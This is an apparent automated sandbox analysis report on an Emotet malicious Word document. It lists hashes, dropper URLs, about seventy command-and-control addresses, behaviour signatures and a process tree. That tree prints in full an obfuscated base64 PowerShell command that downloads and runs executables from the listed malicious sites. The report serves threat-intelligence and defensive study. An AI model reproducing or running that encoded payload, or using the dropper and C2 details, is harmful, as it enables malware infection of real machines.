emotet | fd8ebf32a2021a3ce8059db337db72a00f6d271a9139b287c8bbced18f5a3981

General

Target
emotet_e3_fd8ebf32a2021a3ce8059db337db72a00f6d271a9139b287c8bbced18f5a3981_2020-08-17__203639._doc.doc
Size 234KB
Sample200817-kqlkt657sa
SHA256 fd8ebf32a2021a3ce8059db337db72a00f6d271a9139b287c8bbced18f5a3981
MD5 5949664e011f806e2e288bbcf10edfeb
SHA1 dcd599f1c48c1ca78bb2f10660115ea74e37bd1d
SHA512 0a470f97977c7b95c22382fee93a6eea7df092871a304355e63423f2214c3574e12c0038cd12487798efae6f063760960f3e6c5fad530c9243bdc2f62f8b97fe
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://b3shop.net/calendar/LgZgcv/
exe.dropper
http://magazine-lib.com/wp-content/3nng7e9a6b416342/
exe.dropper
http://nourishmentjuices.com/wp-content/mkyecobz2597/
exe.dropper
http://marthecornelie.com/pcntb/wyqAVe3g95374/
exe.dropper
https://haikouweixun.com/jn5/z08vog5472/

Extracted

Family

emotet

C2

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
203.153.216.178:7080
192.163.221.191:8080
201.235.10.215:80
37.46.129.215:8080
78.189.60.109:443
77.74.78.80:443
143.95.101.72:8080
188.251.213.180:443
31.146.61.34:80
190.53.144.120:80
105.209.235.113:8080
115.78.11.155:80
172.96.190.154:8080
50.116.78.109:8080
188.0.135.237:80
179.62.238.49:80
197.83.232.19:80
92.24.51.238:80
115.165.3.213:80
177.144.130.105:443
139.59.12.63:8080
107.161.30.122:8080
182.176.95.147:80
181.134.9.162:80
179.5.118.12:80
198.57.203.63:8080
51.38.201.19:7080
187.64.128.197:80
176.9.93.82:7080
115.79.195.246:80
46.105.131.68:8080
91.83.93.103:443
87.106.231.60:8080
195.201.56.70:8080
185.142.236.163:443
181.114.114.203:80
192.241.220.183:8080
182.187.139.200:8080
217.199.160.224:8080
190.190.15.20:80
46.32.229.152:8080
202.5.47.71:80
71.57.180.213:80
178.33.167.120:8080
181.113.229.139:443
66.61.94.36:80
216.75.37.196:8080
86.57.216.23:80
74.208.173.91:8080
81.214.253.80:443
172.105.78.244:8080
157.7.164.178:8081
185.208.226.142:8080
177.94.227.143:80
105.213.67.88:80
97.104.107.190:80
5.79.70.250:8080
75.127.14.170:8080
81.17.93.134:80
41.185.29.128:8080
190.212.140.6:80
113.161.148.81:80
177.32.8.85:80
105.184.233.166:80
201.213.177.139:80
177.37.81.212:443
192.210.217.94:8080
190.164.75.175:80
41.84.237.198:443
212.112.113.235:80
203.153.216.182:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3968	2440	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/416-12-0x00000000008A0000-0x00000000008AC000-memory.dmp	emotet
behavioral2/memory/416-12-0x00000000008A0000-0x00000000008AC000-memory.dmp	emotet
behavioral2/memory/3876-15-0x00000000020D0000-0x00000000020DC000-memory.dmp	emotet
behavioral2/memory/3876-15-0x00000000020D0000-0x00000000020DC000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
18	3968	powersheLL.exe
20	3968	powersheLL.exe
22	3968	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
416	Ojrv0x9y.exe
3876	WinSATAPI.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dot3api\WinSATAPI.exe	Ojrv0x9y.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
648	WINWORD.EXE
648	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3968	powersheLL.exe
3968	powersheLL.exe
3968	powersheLL.exe
3876	WinSATAPI.exe
3876	WinSATAPI.exe
3876	WinSATAPI.exe
3876	WinSATAPI.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3968	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
648	WINWORD.EXE
416	Ojrv0x9y.exe
416	Ojrv0x9y.exe
3876	WinSATAPI.exe
3876	WinSATAPI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3968 wrote to memory of 416	3968	powersheLL.exe	75
PID 3968 wrote to memory of 416	3968	powersheLL.exe	75
PID 3968 wrote to memory of 416	3968	powersheLL.exe	75
PID 416 wrote to memory of 3876	416	Ojrv0x9y.exe	77
PID 416 wrote to memory of 3876	416	Ojrv0x9y.exe	77
PID 416 wrote to memory of 3876	416	Ojrv0x9y.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_fd8ebf32a2021a3ce8059db337db72a00f6d271a9139b287c8bbced18f5a3981_2020-08-17__203639._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:648

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABYAHEAeQB4AGYAcwB2AD0AKAAnAE4ANQAnACsAJwBjAGEAYwB2ADgAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgBUAGUAbQBwAFwATwBmAEYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAGAAWQBQAHIAbwBUAE8AYABDAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACcAcwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAnACsAJwAsACAAdABsAHMAJwApADsAJABaADQAOABkADcAYwB4ACAAPQAgACgAJwBPAGoAJwArACcAcgAnACsAJwB2ADAAeAA5AHkAJwApADsAJABOAHoAawAyAGYAdABfAD0AKAAnAEYAYwAnACsAJwB4ADUAZQB3ACcAKwAnAG4AJwApADsAJABXADUAZwBxAHgAYgA2AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBqACcAKwAnAEwAYwAnACsAJwBPAGYAZgBpAGMAZQAyADAAMQA5ACcAKwAnAGoATAAnACsAJwBjACcAKQAuACIAcgBlAHAAbABgAEEAQwBFACIAKAAoAFsAQwBoAEEAcgBdADEAMAA2ACsAWwBDAGgAQQByAF0ANwA2ACsAWwBDAGgAQQByAF0AOQA5ACkALAAnAFwAJwApACkAKwAkAFoANAA4AGQANwBjAHgAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOAA0ADAANgBwAHAAPQAoACcARQB0AHcAJwArACcAdgBiAGUAJwArACcAawAnACkAOwAkAEYAbABfAG0AcABlAGMAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBsAEkARQBOAHQAOwAkAFMANgBfAHkAZAB5AGkAPQAoACcAaAB0AHQAcAA6AC8AJwArACcALwBiADMAcwBoAG8AcAAnACsAJwAuAG4AZQB0ACcAKwAnAC8AJwArACcAYwBhAGwAJwArACcAZQBuACcAKwAnAGQAYQAnACsAJwByAC8ATABnAFoAZwBjAHYALwAqAGgAdAB0AHAAOgAvAC8AbQBhAGcAYQB6AGkAbgBlAC0AJwArACcAbABpAGIALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtAGMAbwBuAHQAZQAnACsAJwBuAHQAJwArACcALwAnACsAJwAzAG4AbgBnADcAZQA5AGEANgBiACcAKwAnADQAMQA2ADMANAAyAC8AKgBoAHQAdABwADoALwAvACcAKwAnAG4AbwB1AHIAJwArACcAaQBzAGgAJwArACcAbQBlAG4AdABqAHUAJwArACcAaQBjAGUAJwArACcAcwAuAGMAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AJwArACcAYwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AdAAnACsAJwAvAG0AawAnACsAJwB5AGUAYwBvAGIAegAyADUAJwArACcAOQA3ACcAKwAnAC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvAG0AYQByACcAKwAnAHQAaAAnACsAJwBlAGMAbwByAG4AZQBsAGkAZQAuAGMAJwArACcAbwBtAC8AcABjAG4AdABiAC8AdwB5AHEAQQBWAGUAMwBnADkANQAzADcAJwArACcANAAvACoAJwArACcAaAB0AHQAJwArACcAcABzADoALwAvAGgAYQBpACcAKwAnAGsAbwAnACsAJwB1ACcAKwAnAHcAZQBpAHgAdQBuAC4AYwAnACsAJwBvAG0ALwBqAG4ANQAnACsAJwAvAHoAJwArACcAMAAnACsAJwA4AHYAbwBnADUANAA3ADIALwAnACkALgAiAHMAcABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWgB5AHgANQBrAGcAbwA9ACgAJwBDAGcANwAnACsAJwBzACcAKwAnAGoANwBxACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAcgBrAF8AZAByADIAIABpAG4AIAAkAFMANgBfAHkAZAB5AGkAKQB7AHQAcgB5AHsAJABGAGwAXwBtAHAAZQBjAC4AIgBEAGAATwB3AGAATgBMAG8AYQBkAGYAaQBgAGwAZQAiACgAJABCAHIAawBfAGQAcgAyACwAIAAkAFcANQBnAHEAeABiADYAKQA7ACQARABtADEAMQBlADEAZgA9ACgAJwBHAG8AJwArACcAdgAnACsAJwB3ADgAcAA0ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABXADUAZwBxAHgAYgA2ACkALgAiAEwARQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgAxADYANwAyACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFcANQBnAHEAeABiADYAKQA7ACQAQwA2AHIAMAB0ADAAZAA9ACgAJwBOADcAegB1ADkAJwArACcAeAAnACsAJwBrACcAKQA7AGIAcgBlAGEAawA7ACQAWgBxAHoAcAB2AHAAagA9ACgAJwBPAHUAOAB2ACcAKwAnADMAbwB5ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQAxAGYAYgBfAHoAdgA9ACgAJwBRACcAKwAnAGgAdwA2AHIAdABtACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3968
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ojrv0x9y.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:416
- - C:\Windows\SysWOW64\dot3api\WinSATAPI.exe
    "C:\Windows\SysWOW64\dot3api\WinSATAPI.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/416-12-0x00000000008A0000-0x00000000008AC000-memory.dmp

Download

memory/648-4-0x000001C81FF24000-0x000001C81FF35000-memory.dmp

Download

memory/648-5-0x000001C81FF13000-0x000001C81FF24000-memory.dmp

Download

memory/648-0-0x00007FF8E93E0000-0x00007FF8E9AA6000-memory.dmp

Download

memory/648-3-0x000001C822182000-0x000001C822187000-memory.dmp

Download

memory/648-2-0x000001C81FF13000-0x000001C81FF24000-memory.dmp

Download

memory/648-1-0x000001C822182000-0x000001C822187000-memory.dmp

Download

memory/3876-15-0x00000000020D0000-0x00000000020DC000-memory.dmp

Download

memory/3968-6-0x00007FF8DBA10000-0x00007FF8DC3FC000-memory.dmp

Download

memory/3968-7-0x00000235C0A90000-0x00000235C0A91000-memory.dmp

Download

memory/3968-8-0x00000235D8E80000-0x00000235D8E81000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads